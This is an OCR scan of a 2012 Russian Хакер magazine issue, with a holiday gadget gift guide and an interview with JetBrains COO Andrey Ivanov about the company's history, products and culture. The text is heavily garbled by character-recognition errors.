,Ёir;%.

хлкЕр

12/1b7l 2012

CPU Wагs 1

i l,,|l ,ц7QР|

-

CPU Wагs одна из самых необычных карточных игр, с которой мы сталкивались. Персонажами игры стали З0 процессоров, которые, п0 мнению авторов, оказали наибольшее влияние на развитие компьютеров. Характеристики процессоров разбиты по категориям и 0писаны на карточке каждого процессора. Во время игры участники по очереди выбирают категории, игрок, у которого найдется процессор с лучшей характеристикой, забирает карту у проигравшег0 и так д0 тех пOр, пOка у кOго-то не окажутся все карты. Механика игры дOвOльн0 прOста, н0 вOт ее испOлнение на высшем уровне. .Щизайн продуман вплоть до подарочной коробки, защищающей картOчки 0т электромагнитных излучений клеткой Фарадея.


COVERSTORY

r

ь

NETGEAR Push2TV З000

bit,lylTDUsq2

В коробочке размером с колоду карт скрывается устройство, позволяющее без проводов подключить почти любой современный норбук на базе lntel и Windows к внешнему экрану или проектору. Это удобно как для дома, так и для презентаций, поскольку, в отличие от DLNA, не возникает проблем с форматами. Рабочий стол пользователя будет целиком зеркалироваться на внешний монитор по Wi-Fi-каналу. NETGEAR Push2TV использует технологию lntel WiDi, а также более новый стандарт Мiгасаst. Это значит, что поддерживаются не только норбуки на процессорах поколений Sandy Вгidgе и lvy Вгidgе, но и многие флагманские смартфоны и планшеты под управлением Апdгоid 4,2, включая Samsung Galaxy S lll, а также устройства серии Nexus.

iFixit Рго Tech Toolkit

ьit.lицзмkц

Сайт iFixit стал широко известен благодаря иллюстрированным .разборкам, популярных гаджетов. Авторам удавалось препарировать даже самые сложные железки от Apple, в которые, казалось бы,

и отвертку-то вставить некуда. Поэтому когда те же самые люди выпускают специальный набор для разборки техники стоит прислушаться. В набор входит 70 элементов, включая 54 насадки для отвертки,

-

антистатический браслет, множество щупов, пинцетов и других приспособлений, вплоть до присоски, позволяющей, например, удержи-

вать на весу экран смартфона или планшета. Словом, 0тличная вещь для любителей покопаться в технике для ремонта или апгрейда.

7

WowWee Robosapien Ь

it.lylbS8x

U

М

К сожалению, найти что-то принципиально новое на любимую тему роботов в этом году не удалось- все уже давно слышали и про наборы LEGO Мiпdstогms, и про пылесосы Roomba. Расскажем об игруш-

ке, кOтOрая пOявилась дOвOльн0 давн0, н0 у нас стала известна только в последние годы благодаря игровым зонам на различных технических конференциях. Robosapien - робот, которым можно управлять с помощью пульта или же программ. Несмотря на их игрушечный внешний вид, о программировании таких роботов пишут целые книги. Здесь есть все набор сенсоров [звук, свет, цвет, инфракрасный, прикосновение), синтезатор голоса, манипуляторы и многое другое.

-

Logitech КВ10

bit,lv/Sed4LG

Клавиаryра от Logitech позволяет управляться сразу с несколькими устройствами. К81 0 использует Вluеtооth-канал для подключения одновременно к трем системам (например, нолбук, планшет и смартфон) и переключается между ними на ходу. В первую очередь клавиаryра понравится любителям плоских клавиц островнOго типа ее раскладка похожа на классическую клавиаryру макбука. В К810 есть и другие навOрOты например пOдсветка, управляемая датчикOм, к0торый реагирует на приближение рук пользователя. Пожалуй, для пол-

-

нOг0 счастья клавиатуре

не хватает тOльк0 встрOеннOг0 тачпада.

хлкЕр 12l1b7/2012


Чем порадовать гика

9

lnCase Range Меssепgег Bag

bit,lч/Qг8uYm

-

Выбор сумки для норбука вопрос почти религиозный. И хотя рюкзак, возможно, самый удобный способ переноски вещей, придуманный человечеством, он все-таки не всегда является идеальным решением.,Щостаточно того, что крупные рюкзаки сильно мешают в часы пик в общественном транспорте. Линейка lnCase Range интересна тем, что у нее множество различных способов крепления, позволяющих быстро менять позицию сумки, причем предусмотрен даже режим для велосипеда. Естественно, ноутбук помещается в специальный отсек, позволяющий смягчить удар при падении. Предусмотрены два размера сумки, для 1З- и 15-дюймовых нодбуков.

Nike+ Sрогtwаtсh GPS bLt.

у/РЬWSДЬ

-

Еще один замечательный гаджет для спортсменов в данном случае для бегунов. Sрогtwаtсh собирает различную статистическую информацию о твоих пробежках и при подключении к компьютеру синхронизирует и выводит ее в удобочитаемой форме. Маршрут выстраивается на карте, килOметры кOнвертируются

в калOрии, и в результате

даже начисляются различные баллы и награды в предусмотренной Nike игровой системе. Часы способны сами напоминать о ToMI что пора снова устроить пробежку, и пытаются мотивировать хозяина добиваться поставленных целей.

11

Matias Quiet Рго Ь

it.lylQ г28 Kv

Не забыли и о любителях механических клавиатур. Напомним, чт0 такие клавиатуры высOк0 ценятся пOльзOвателями, мнOг0

работающими с текстом, за высокую информативность и точность срабатывания клавиш и, как результат, повышенное удобство набора. Только вот шум, который издают клавиши с механическими переключателями, в тесном офисном пространстве может серьезно мешать. Так что пользователям дOлжна понравиться самая тихая клавиатура такого класса. В Quiet Рго также предусмотрено три USВ-порта, набор мультимедийных клавиш и два разных цвета [черный для РС и серебристый для Мас),

12

LiчеsсгiЬе Sky With Smагtреп

bit.lv/5Pctb0

Настоящие гики пишутдостаточно редко, но встречаются среди них и студенты, На них и рассчитан этот гаджет ручка, которая не тольк0 распOзнает написаннOе, н0 и параллельн0 записывает лекцию еще и на диктофон. Oфициальным клиентом для ручки является Ечегпоtе, на который дается бесплатная годовая подписка. Таким образом, ручка может синхронизирOвать информацию с любой настольной или мобильной платформой, На выбор доступно несколько версий, различающихся объемом встроенной памяти.

-

хлкЕр

121167/2012


covERSToRY

13

Withings Bodyscale bit.lylSGDGWc

За пределами гиковской вселенной весы, возможно, самый неуместный подарок на свете. Но если одариваемый способен 0ценить пO-настOящему прекрасные вещи, он оценит и Withings. Эти весы способны не только автоматически публиковать вес в любую социальную сеть [что, по идее, придает мOтивацию, хOтя и кажется нескOлько странной затеей), но и интегрироваться с различными приложениями и собирать статистическую информацию о разных показателях. Подключиться можно как в домашней сети Wi-Fi, так и по Bluetooth. Кроме тOг0, весы мOгут автOматически 0пределять, кто именно из членов семьи в данный момент взвешивается, и хранить информацию о нескольких пользователях. У весов есть собственные клиенты для iPhone и Апdгоid.

Раггоt АR.Dгопе

2

bit.lyly88WLx Радиоуправляемый квадрикоптер уже не раз появлялся на страницах )[, и неспроста. Модный летательный аппарат действительно крутая штука, поддерживающая множество функций, Квадрикоптер оснащен камерой, которая может записывать фото и видео в разрешении до 720р. Внутри стоит стандартный АRМ-компьютер под управлением 0С Linux. Предусмотрена подэто держка различных мобильных устройств

-

-

пOзвOляет уп равлять квадрикOптерOм и смOтреть видео с камеры. Некоторые игры даже работают по принципу дополненной реальности и превращают полет на квадрикоптере в боевую с и

15

ргiпtгьоt

Ьrt.lуlчцfРАХ

Конечно, нельзя было пройти мимо излюбленной темы ЗD-принтеров, позволяющих производить реальные предметы из чертежей, полученных в интернете. Конечно, такие устройства по-прежнему мало где можно приобрести и они весьма дороги, н0 надеемся, чт0 эт0 исправится в следующем гOду. А до тех пор советуем обратить внимание на относительно доступный РгiпtгЬоt. В большинстве случаев эта модель продается в виде набора, из кOторого нужно собрать сам принтер. В зависимости от цены ты получаешь либо самый простой и маленький РгiпtгЬоt jг, либо самый навороченный РгiпtгЬоt Plus. Собранные модели обойдутся еще дороже. Советуем сразу дарить вместе с набором расходных материалов {4З доллара за килограмм).

муля ци ю.

]J i,r

J хлкЕр 12/1ь7/2012


Е]"]

.a

фВ ч.,т;..аЬ -,...,.ь.4Ё, il

н Ё !l

L

U

l

I f

r

l l l

l

r a

,-,

J

ig I

i

.

дьJввсйзffil


covERSToRY

Беседовал Степан Ильин

РЕАКТИВНЬlЕ ГПП

КОМПАНИИ

LUUJETBRAINS ч

АНДРЕИИВАНOВ

что именно ему нужно, Вы приносите систему, а он говорит: <Нет, это фигня, мне такое не нужно, давай делать по-другомуr. С этой точки

зрения разработка продуктов для программистOв прOще, ведь мы делаем вещи, в кOтOрых мы действительно хорошо разбираемся. Мы знаем, ведь мы сами их какими они должны быть, пOл ьз0 вател и.

-

Создание продуктов для програll],lистов достаточно технологическая работа, которая требует большего объема знаний, че1,1 создание ПРИ].,lИТИВН ЫХ СИСТе].,l ДЛЯ КOНеЧ НОГ0 ПОЛЬЗOВа-

теля. Но делать сложные вещи, как мне кажется, интересно. Нужно создавать удобные вещи, кOтOрых нет у других, и пOказывать их людям. это конкуренция, Правильная конкуренция построенная на создании более удобных и ��а-

-

Многие удивляются, узнав, что компания JеtВгаiпs создана нашими соотечественниками. На сегодняшний день эти ребята успели заработать прекрасную репутацию, создавая продукты, которые можно определить как (программы для программеров>. Инвесторы сетуют, что JеtВгаiпs не берет денег и не желает превращаться в огромную корпорацию. Конкуренты не стесняются <(заимствовать)> решения JеtВгаiпs, перетаскивая их в свои разработки. Но что происходит в самой JеtВгаiпs, что за люди стоят за созданием компании и таких продуктов, как lntelliJ lDEA? Подробно об этом и многом другом рассказал нам С00 компании Андрей Иванов.

чественных решений, которых нет у конкурентов i4одель Apple, связанная с производство1,1 качественных и удобных вещей, от которых эт0 правильная м0не хOчется 0трываться, дель, И для программистов в том числе. Как люди переходят на }.lac? Просто <так получается>. Само. Посидел ты за Мас'ом пять минр, попробовал, поработал, и уже хочется его купить. Нужно делать такие же lDE. Чтобы к тебе пришел товарищ, сказал: <!ай покажу, как я это делаю>, ты посидел пять минут в lDE, попрограммировал и тебе бы захотелось переключ иться.

@

Нащиl"t первы],l продукто}l был

]Trtlrтil]TпiE

lDE долlкна поl,iогать. 0на долr<на избавлять вас от рутинной работы. Программирование это набор разных действий, часть из которых

-

требует подключать мозг, то есть интеллектуальная, но есть и часть чисто техническая. lDE

должна избавлять вас от второй и оставлять как. можно больше времени для первой.

026

fl елать продукты для програ].lllистов приятно и просто. Потому что понятно. Хотя, кOнечн0, прихOдится решать слOжные технические задачи. В чем заключается основная причина неудовлетворенности и, если угодно, фрустрации в работе програltl}lиста? Проблема в том, что заказчик, прихOдя к вам за прOдуктOм, не знает,

Rепаmеr-

небол ьtлая п рогра],l ].,la, которая позволяла делать саl,tый простой рефакторинг- переи14енование для програtlll на языке Java. То есть переименовываем класс, пакет, метод и все ссылки на нег0 тOже или переменную переименовываются. Программа также позвOляла перемещать классы между пакетами. Вторым продуктом был СоdеSеагсh - это был плагин к JВuildег (популярной в то время lDE от Вогlапd), который позволял быстро и точно

хлкЕр

12 /1ъ7/

2012


COVERSTORY нахOдить все испOль3Oвания даннOг0 симвOла [метода, класса) во всей программе,0днако с самого начала целью было создание полноценной lDE эти два продукта было решено выпустить по пли, чтобы получить какой-то опыт и обрат-

-

ную связь от пользователей.

Следующий нащ продукт, который был lntelliJ и до сих пор остается флаг1.1анскиtl, IDEA. !олгое время нам хватало и этого, ведь lDE такого класса на рынке просто не было [с таким набором функциональностиl. JBuildeг безнадежно проигрывал, а в компании Вогlапd тOгда прOисхOдили такие прOцессы... слOвOм, было понятно, что долго он не протянет. Хотя 0н прOтянул значительн0 дOльше, чем мOжно было предсказать. Лет пять это была <компаниязомбиr. В общем, все было замечательно, пока не появилась Eclipse. Чтобы конкурировать с бесплатныl.t продуктоi,l, 1,1ы выделили платфорttу, сделали community edition (0реп Sоuгсеl, а поверх платформы создать продукты для разных ниш,

-

По

сли,

са},lи решили в KaKo}l-To сr4ысле поЙти по при Eclipse. В итоге у нас появились точечные lDE: РуСhагm для Python, ].,lы и

RubyMine для Ruby, WеЬStогm для JачаSсгiрt, РhрStогm для РНР. Последний, к слову, через какое-то время вообще может стать самым продаваемым продуктом. РНР-программисты не избалованы хорошим lDE, а туг... Все они базируются на платформе, которая выделена из lDEA. 0дним словом, community edition и платформа это довольно близкие вещи. Все остальное надстройки. Ultimate Edition своего рода сумма перечисленных п

-

-

рOдукт0 в.

3наете, как создавали Eclipse? Команда из Швейцарии, которой руководил Эрих Гамма, на деньги lBM [но тогда частью lBM она еще не была) с нуля построила сначала платформу, а потом, поверх этой платформы, среду разработки.

Эрих Гамма тогда был легендой, пото1,1у что как соавтор написал книгу Design patterns; Elements of Reusable 0bject-Oriented Software ("Приемы объектно-ориентированного проектирования. Патгерны проектирования"). Ее авторами были так называемые Gang of Fоuг [Ричард Хелм, Ральф,Щжонсон, !жон Влиссидес и Эрих Гаммаl. Создатели ко].,tпании lrного с ниl,tи обtцались, рассказывалиl 1.,tОл, каКИе ИДеИ! Посмотрите, у нас Eclipse копировала! Это никого не волновало, !митриев всегда ратовал за то, что идеи должны <гулять> в свободном доступе, эт0 привOдит к развитию индустрии.

Eclipse была для IBi,l коltплементарны}l продуктом. Приведу пример: авиабилеты в ЛасВегас стоят очень дешево. Потому что туристы оставляют столько денег, что прибыль будет несравнима с тем, скOльк0 вы затрачиваете на авиабилеты. У lBM был похожий подход к Eclipse: давайте вложим огромные деньги в разработку, бесплатно всех подсадим, и люди, которые сядут на эту платформу, окажrгся каким-то образом связаны с нами, будут заказывать другие прOдукты.

Когда Eclipse вышла, конечно, для нас это стало своего рода вызовоltl. Если стоит выбор купить примерно одинаковую функциональность за деньги или получить ее бесплатно, конечно, выбор падет на бесплатный вариант. JetBrains пришлось диверсифицировать продукты, придуllывать новые направления. Теперь, когда мы возвращаемся к тем временам и вспоминаем, мы думаем, что это хорошо. Это дало определенный толчок: теперь мы не компания 0днOг0 прOдукта, а кOмпания пятнадцати п

платн0.

flостаточно долго у нас существует такая ((щryка) MPS ltleta Рrоgrаmmiпg Systeml. Также довольно давно появилась книга Кшиштофа Чернецки <Gепегаtiче Ргоgгаmmiпg". В книге была изложена следующая мысль: если мы хOтим превратить прOграммирOвание в нечт0 подобное промышленной разработке для авт0мобилей, нужно наладить своего рода (конус> производителей. Компонент и компания, которая из этого компонента собирает компоненты более высокого уровня. И так вплоть до продуктов. Если мы сумеем все это выстроить, программирование станет генеративным, можно будет описывать то, что хотите, с помощью неких DSL, очень близких по семантике к человеческому языку и к языку домена. 0писывать, а после за-

-

пускать генератOр и пOлучать гOтOвую прOграмму.

рOдуктOв.

Схожая конкуренция у нас возникла и на рынке lDE под 1,1ас.,Щля этой платформы мы выпускаем среду AppCode. Это та область, где нужны маркетингOвые усилия, нужн0 как-т0 убедить людей попробовать. Ведь XCode такой родной, его сама Apple предлагает - как же с него уйти... Плюс все приложения, основанные на платформе IDEA, написаны на Java. А писать под Мас на Java - рискованное занятие по ряду причин. Программа выглядит не TaKl как остальные Мас'овские прOграммы, плюс постоянно идет возня до какой степени поддерживается JDK, какие взаимоотношения у Аррlе и 0гасlе. Но наш AppCode, конечно, лучше XCode :).

-

Помимо прочего, у нас есть целый ряд. продуктов. RеShагрег переносит большую часть функциональности lntelliJ lDEA на платформу .NET. Кроме того, есть серия продуктов dоtтгасе, dоtсочег, dotpeek - все они позволяют пOлучать и испOльзOвать различные знания о коде. dоtТгасе - профилировщик - служит для 0птимизации прOизвOдительнOсти и использования памяти программ, dоtСочег позвOляет анализирOвать пOкрытие кOда тестами, dotPeek - декомпилятор, который, например, можно использовать для понимания работы прOграммы, даже если ее исхOдные кOды у вас 0тсrrствуют.

Следуюtцая категория продуктов

-

инстру-

менты, поддерживающие командную разработку.

-

TeamCity продукт, поддерживающий непрерывную интеграцию lсопtiпчочs

JAVA ПЕРЕСТАЛ РАЗВИВАТЬСЯ ИЛИ ДЕЛА_ Ет эт0 },rЕдлЕнн0 из_3А нЕоБхOди},rости сохрАн ять о Б рАтную с0 в },l Ести },t 0сть 02а'

-

iпtеgгаtiопl практику разработки П0, заключающуюся в выпOлнении частых автOматизированных сборок проекта для скорейшего обнаружения в нем интеграционных проблем. !ля небольших команд TeamCity доступен бес-

Эта идея получила ]lножество разных воплощений, не только от компании JеtВгаiпs. К примеру, в моей <прошлой жизни> в Вогlапd, в конце моего там пребывания, ребята разрабатывали такую штуку для Eclipse - Gепегаtiпg Modeling Fгаmеwогk. Oни пытались сделать это для диаграмм, чтобы можно было описать диаграмму и она бы сгенерировалась. Возвраlцаясь к llPS - идея его создать принадлежала Сергею flмитриеву. Некое подобие генеративного программирования, свой подход он тогда называл Language Oгiепtеd Ргоgгаmmiпg. Мысль была следующая: прежде чем писать прOграмму в какOм-т0 дOмене, вы создаете язык, который описывает этот домен, 0писываете правила, п0 кOтOрым конструкции этого языка генерятся в языки более низких уровней, а потом уже программируете. После такой предварительной работы дальнейшее программирOвание 0чень прOстOе. Был построен некий изначальный стек языков: внизу (лежала>r Java, но над ней были некоторые надстройки. И в какой-то момент возникло желание и потребность доказать состоятельность этой концепции, не только как академического изыска, но и как работающей системы, в рамках которой можно создать реальное промышленное приложение. Так и появился YоuТгасk, очень интересный продукт для бапрекинга и управления проектами. Еще у нас есть язык Kotlin, ему два с половиной разработка началась летом 20'l0-го. неС ним получилась интересная история сколько устремлений в определенный момент сошлись в одной точке. Java сейчас почти перестал развиваться. Или делает это очень медленно. В основном, в силу необходимости сохранять обратную совместимOсть с тем, что было двадцать лет назад. Какие-то вещи в нем не делают в принципе или делают неидеальным способом. В итоге у общественности появлялось желание иметь некий язык программирования, так сказать,

-

современ

н ы

-

й.

хлкЕр

12116712012


Интервью с Андреем Ивановым

-

Сейчас Kotlin проект рке достаточно зрелый, над ни1.,l работает коi,lанда из вось].lи человек. Релиза пока не было, и публично мы анонсировали его совсем недавно. В общем-то, до того, как люди смогут писать на Kotlin свои программы, я думаю, пройдет еще года полтора. При этоtt интересно, что JVM вирryальная ltla lljи на, на которой исполняются скоl.,lпил ированные програ1,1]tlы на Java, - развивается значительно быстрее, чем сам язык. В версии 7, например, в JVM появилась инструкция invokedynamic, кOторая никак не используется компилятором языка Java и предназначена для разработчи ков комп иляторов других язы ков. Поэтому многие создаваемые языки в том числе Kotlin компилируются в JVM, Мы изначально стре}lились сохранить сов}lести].lость с Java. На сегодняшний день написано огромное количество кода на Java, созданы библиотеки, фреймворки, большие приложения. Нужно, чтобы существующие проекты могли переходить на новый язык постепенно. !ля этого не только код на Kotlin должен легко вызывать код на Java, но и наоборот. Хотелось сделать лаконичный язык. Известн0, чт0 прOграммисты тратят мног0 времени на чтение кOда, пOэтOму кOнструкции, дOступные в языке прOграммирOвания, дOлжны пOзв0лять писать программы кратко и понятно. Java считается мнOгOслOвным языкOм, мы стараемся

-

-

-

улучшить ситуацию. Мы также стреl4ились достичь баланса }4ех(ду

статической гарантией корректности

и скоростью ко},lпиляции. Стати ческая ти п иза ция позволяет находить ошибки в коде на этапе кOмпиляции и гарантирOвать, чт0 те или иные

ошибки не произойдуr во время выполнения. К сожалению, опыт создания языков с мощной системой типов, например Scala, показывает, чт0 статические прOверки мOгут существенн0 замедлить компиляцию. В языке Kotlin мы пытаемся найти баланс между этими двумя

требован ия

м и,

В-четвертых, это досryпность языка для изучения. Наконец, в-пятых, язык должен быть дружественным для инструментOв, пOддерживающих разработку на нем. Накопленный нами опыт показывает, что определенные свойства язы ка мOгут существенн0 затруднять инструментальную пOддержку.

Kotlin

-

0реп Sочrсе проект, !lожно при-

нять участие в его разработке. В JеtВгаiпs над проектом работает команда из восьми человек. На сегодняшний день выпущено несколько прOмежутOчных ранних релизOв кOмпилятOра и плагина к lDE. Уже сейчас можно пробовать Kotlin в деле, хотя пока это лучше делать на тестOвых примерах.

ffi

Говоря формально, JеtВгаiпs - коlr,lпания не отечественная. Корни у нее не только российские. RnD и все остальное наше. Примерно 90% сотрудников русские. Но номинально штаб-квартира находится в Чехии. JеtВгаiпs изначальн0 существOвала как чешская кOмпания это простое стечение обстоятельств.

-

-

хлкЕр 12/167l2012

-


cOvERSTORY Началось все с ко1"lпании TogetheгSoft, коr4анда которой появилась в Питере. В середине 90-х из Германии в Питер приехал,Щитрих Каризиус контракт

- с идеей продукта. 0н заключил с Николаем Григорьевичем Пунтико-

вым, который сейчас руководит оргкомитетом конференции SECR, а тогда еще толы(о начинал компанию StагSоft. Oни и собрали команду. В 1998 годи когда начался кризис. американцы, получившие долю в Тоgеthег, решили, чт0 хOрOших прOграммистOв срOчн0 нужн0

вывозить из Питера в Европу. Рассматривали в качестве варианта Германию, но в итоге выбрали Чехию. Топовая ко].,lанда Togethe15oft lоколо 50 человекl уехала в Праry в 1999 году. Среди них были и и три будущих основателя JеtВгаiпs: Сергей !митриев, Валентин Кипятков и Евгений Беляев. TogetheгSoft тоже зани].,lалась разработкой продуктов для девелоперов. То gеthегSоft делала modeling tools. Тогда была мода на средства моделирования, причем стандартов вроде UML еще не было. Разные гуру придумывали различные методOлOгии, кOторые друг 0т друга 0тличались, например, тем, как рисOвать классы. Какое-то вре],tя tttы поработали там все вместе. В конце 1999 года под руководством Сергея был выпущен ТоgеthегJ З.0 существенно обновленная версия продукта, разработка которой заняла почти два года. Примерно в это же время TogetheгSoft получила серьезные инвестиции. При этом у Сергея давно была мысль сделать свой бизнес, зрела идея продукта. Было понятно, что нужно либо уходить, либо связывать себя с ТоgеthегSоft еще на несколько лет. Ребята выбрали первое. Сергей ушел из компании в феврале. Это было в Праге, где он сел и начал программировать. Месяца через три к нему присоединился Женя, а потом, еще месяВаля. Я после этого возглавил цев через пять, разработку продуктов Тоgеthег и занимался этим еще шесть лет - сначала в TogetheгSoft, а потом в Вогlапd.

-

-

JеtВrаiпs

это ко1,1пания, где програltll.tируют все. Кроме разве что бухгалтерии. Вот у нас есть два СЕ0 [да, такая оригинальная концепция, не один СЕ0, а сразу двое), они оба активно

-

программируют.

На мой вкус, это занятие более

интереснOе, чем рукOвOдств0.

Кстати, в JеtВгаiпs даже мне приlллось писать какие-то куски кода. Когда я пришел в компанию, !митриев сказал мне: <Андрей, извини, я понимаю, ты десять лет редактOра, крOме Wоrd, не видел, но у нас все программируют. Сделай вот эту систему", Я запрограммировал систему геlеаsе-mапаgеmепt'а. На это у меня ушло какOе-т0 время, и пOсле меня оставили в покое. Сейчас я опять не программирую, но было дело, вспомнил, как это. После того как достаточно долго поруководичlь разработчиками, заставить себя программировать уже не получается. Ты в любой момент видишь, чт0 задачу мOжн0 решить прOще, быстрее

и

лучшеl

если

ее

делегировать.

Из

этого

сOстOяния уже не вернrгься, а жаль. JеtВгаiпs не берет инвестиции. JеtВгаiпs не продается. JеtВгаiпs не хочет стать огромной

компанией. Все это проистекает из жизненных цен ностей са мого Сер гея,Щм итриева, человека, который JеtВгаiпs создавал и до сих пор определяет стратегические решения. Хотя у нас есть два СЕ0, они не моryг принять решение о том, чтобы, к примеру, продать компанию, купить компанию или взять инвестиции. Такие решения принимают собственники кOмпании. ){изненные ценности Сергея не связаны с Tei4, как заработать побольще денег. Ему интересн0 делать крлые вещи - интересны продукты, технологии, наука. Это сейчас он совершил очередной шаг в своем бизнесе. Ведь он бессменно руководил компанией с ее основания и до лета текущего года, Но Сергей решил, что хочет заниматься наукой, и он уже достаточ-

далек0 прOдвинулся п0 этOму пли, тOльк0 вOт времени ему не хватает. И это плохо. Поэтому он ушел от управления компанией и посвятил свOю жизнь науке. Надо сказать, что руководство коlt{пании эти н0

ценности разделяет - никт0 из нас не стремится выйти на lP0, продать компанию или заработать как можно больше денег. Если не ставить задачу заработать ].,tиллион долларов и купить цJесть до}tов на Канарах, не ставить задачу выйти на lP0 [потому что все выходятl, возникает вопрос <А зачем?> Того

оборота и той прибыли, которую JеtВгаiпs имеет сейчас, хватает на то, чтобы решать все задачи,

которые перед нами встают. А также на то, чтобы все люди, работающие в компании, считали, что у них все хорошо. Нет никаких движущих механизмов, чтобы терять нашу свободу и культуру ради денег.

Я реryлярно общаюсь с людь1,1и, которые хо-

тят что-то сделать- куда-т0 влOжиться, чтO-т0 купить. Я объясняю им то, о чем сказал выше,.. но многие не понимают. *утебя же могло быть

десять раз больше!> - говорят они. В истории есть всего один-два примера, когда выход на lp0 не принес коr4пании вреда. Сейчас я говорю вещи (не общеупотребительные>, но все же. После lP0 появляются факторы (связанные не с продуктами и технологиями, а уже с предсказаниями аналитикOв и так далее), влияющие на решения, принимаемые в

в кOмпании.

Воrlапd

-

ко},lпания с продолжительной и драl,tатичной историей. Впервые она заявила о себе в ноябре 198З года, выпустив ТuгЬо Pascal. Фактически это была первая на рынке lDE. Многие пOкOления учились прOграммирOвать, пOльзуясь этой средой разработки.

Есть такое выражение: (если не можешь

быть хорошим примером, придется служить предостережением>. Вогlапd удалось и то и другое. У Вогlапd было две ((вредные)) привычки.

-

расширяться, покупая компании, причем не особо задумываясь о том. как покупка (впишется> в текущую продуктовую линейку. Так, Первая

в 1991 году, уже имея в своей линейке успешную систему управления базами данных Рагаdох, Вогlапd приобрела Ashton Tate с их продуктом dBase, что впоследствии стоило рынка обоим

-

продуктам. Вторая уходить от производства инструментов для разработчика в более популярные, с точки зрения аналитиков, области.

В середине 90-х коtlпания с}tенила название на lпрrisе и чуть не закончила свое существование. Спасли ее инструменты разраВогlапd ботки - Delphi и позднее JВuildег, Затем среди 0пять начала пOкупать кOмпании прочих в 200З году так была куплена и американская компания TogetheгSoft, основной центр разработки которой находился в СанктПетербурге. В результате этой покупки образовался российский филиал Вогlапd. 3аниl.tался питерский филиал вначале тем же, чем п до покупки. продуктами линейки Тоgеthег [для одновременной разработки кода и UМL-диаграмм], а также интегрировал функциональность Тоgеthег с продуктами Вогlапd. Постепенно а].rериканское руководство, довол ьное резул bтaтoltl работы п итерских ко1,1анд и их относительно низкой ценой, начало переводить в Питер разработку и других своих продуктов. К 2006 году практически все продукты Вогlапd имели команды в Питере. К соlкалению, (переварить) эти покупки коlttпания не с].{огла. Как и в случае с базами данных, вOзникла внутренняя кOнкуренция

-

хлкЕр 12l1b7l2012


Интервью с Андреем Ивановым

дАЕ},l людя]ul ВOз}{0ЖнOстЬ 3Ани},lАться нЕ тOльк0 прOЕктА},lи, нАд к0_ тоРЬl1.{и 0ни РАБотАют БOлЬшУю ЧАстЬ врЕ},lЕни, н0 и стOрOнними вЕщА},rи ]ulbl

(Тоgеthег Сопtгоl Сепtег, например, была в том числе прямым конкурентом JВuildег]. С 200З по 2006 год, пока я работал в Вогlапd, компания пыталась наладить ситуацию, н0 0на, к сожалению, ухудшалась. При этом высшее руководство, далекOе 0т прOграммирования и технологий, совершало ошибку за ошибкой, усугубляя и без того сложное положение. В компании прOцветала <<пOлитика), сильные прOграммисты 0дин за другим покидали компанию. В качестве 0снOвнOго средства решения проблем применялOсь сOкращение расхOдOв. Воrlапd была коl,tпанией с достаточно высокой струкryрой. Была вертикаль от СЕ0 д0 прOграммиста из, скажем, пяти менеджеров разного уровня, у которых было по одному подчиненному. СЕ0, С00, sепiог vice ргеsidепt, просто vice ргеsidепt, sепiог diгесtог, diгесtог, ргоjесt mапаgег, и уже у нег0 три прOграммиста. В 2006 году Вогlапd начала сокраlцаться, и а].4ериканцы посryпили честно в Марте они сообщили нам, что филиал будет полностью закрыт к сентябрю. У руководства филиала было время на то, чтобы подготовить для людей от-

-

хOдные пуrи.

ltlы считали себя элитной компанией, подо6ных котороЙ в Питере нет. Поэтому мы не стали посылать людей на интервью куда-то в компании, которых не было в городе, но попытались привезти эти новые компании к нам. Так мы привезли в Питер Google и *Яндексо. Сначала Ha}l удалось договориться о встрече с коi,lандой Google, которая занималась созданием новых офисов. Удалось привезти их в Питер. Oни проинтервьюировали нацих топ-инженеров и забрали к себе десяток самых сильных. Из них сделали Google Санкт-Петербург. Ребята и сейчас почти все там ра бота ют.

Когда об это1.,l узнал <<Яндекс>, первой реакцией было <l,tы тоже хотиlii>>. .Щля них тогда Google был как красная тряпка. Их планы были масштабнее: они были готовы открыть филиал на 40-50 человек, а не на ] 0. Передо i{ной лично встал выбор: Google или кЯндекс>>. Я выбрал последних и проработал там год-полтора, За это время мы сделали филиал, он заработал, но настала какая-то точка насыщения, пOсле чег0 я решил (пOиграть) в свой бизнес. Кстати, директора филиала Tal.l до сих пор нет. В тот момен1 когда филиал появился и начал работать, оказалось, что руководитель там не нужен, 0ни и так управлялись со всем нOрмал ьн0.

хлкЕр 12/1b7l2012

ti|lt7Еlrпrп Единственный элемент процесса, который сейчас присутствует в JеtВгаiпs, это стандартный stand-up meeting. Команда раз в день 15-20 минут общается и обсуждает текущее положение дел в проекте. Это пришло из подхода гибкой методологии разработки (A9ile}. В остальном процесс поддерживается tооl'ингом [программными инструментами]: есть постоянные сборки в Continuous iпtеgгаtiоп, есть какие-то реег гечiеw, когда люди смотрят, что они наделали. Если говорить i{атеi{атически1,,l языко1,1, для успешности компании есть необходимые

-

и дOстатOчные услOвия,

Flеобходиlиые условия это достаточный уровень зарплаты. У нас она высокая и постоянно индексируется, Полагаю, большую часть жизни в нашей компании люди не думают 0 зарплате, пOтOму чт0 0на пOвышается до того, как они успевают об этом подумать. Но это недостатOчнOе услOвие, ведь существует мнOжество компаний, которые платят большие деньги, но люди от них бегуr. програ].,l1,1истаltl ,Щостаточное условие должно быть интересно, они х(е люди творческие. С одной стороны, это обеспечивается тем, чт0 у нас в принципе интересные задачи (поскольку мы делаем программы для самих себя, а не, скажем, для банковских работниковl. Это круто, когда ты что-то сделал, а завтра сам же этим и пользуешься. Если у тебя не работает интеграция с чегsiоп сопtгоl, ты пошел в соседнюю кOмнату, где сидит прOграммист, вы вместе ее исправили и все заработало. Если у человека возникает ощущение усталости, если ему надоело работать с какой-то определенной подсистемой, у нас есть возможность внутреннего перехода. Если кому-то что-то надOедает или не складываются 0тнOшения с менеджерOм, челOвек не ухOдит наружу: он просто оказывается в другой команде, где зачастую (выстреливает) сOвершенн0 неожиданным для себя, для нас и для предыдущего менеджера образом. Плюс существует такая вець 80/20 проект.

-

-

Срь

-

в том, что 20% рабочего времени фактически день в неделю сOтрудник мOжет тратить не на основной проек1 а на что-то ему интересное и полезное для компании. Это может быть

-

разработка прототи па нового п родукта ком па н ии, участие в 0реп Sоuгсе проекте или преподавание.

Работа в JеtВгаiпs практически ничеtl

не регламентируется. 0фис действует 24 часа, всю неделю, так как у нас есть люди, которым комфортно работать по ночам.

